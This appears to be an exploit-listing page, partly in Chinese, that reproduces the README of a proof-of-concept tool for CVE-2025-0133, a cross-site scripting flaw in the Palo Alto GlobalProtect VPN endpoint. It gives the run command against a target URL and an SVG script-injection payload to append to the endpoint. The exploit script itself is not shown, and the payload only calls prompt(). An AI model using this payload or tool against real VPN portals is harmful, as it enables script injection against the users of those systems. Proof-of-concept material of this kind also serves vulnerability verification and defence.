CVE-2025-0133 PoC — Palo Alto Networks PAN-OS 安全漏洞

Description

 CVE-2025-0133 GlobalProtect XSS

介绍

# mitsec_vpn_xss_exploit

🔓 Exploit for GlobalProtect SSL VPN endpoint `/ssl-vpn/getconfig.esp` that appends a crafted XSS payload to the URL.

## Usage

```bash
python3 exploit.py -u https://target.com
```

## Parameters

- `-u`, `--url`: Base target URL (do **not** include query params)

## Payload Preview

```html
<svg xmlns="http://www.w3.org/2000/svg"><script>prompt("mitsec")</script></svg>
```

## Author

- GitHub: [ynsmroztas](https://github.com/ynsmroztas)
- Twitter: [@ynsmroztas](https://twitter.com/ynsmroztas)

文件快照

备注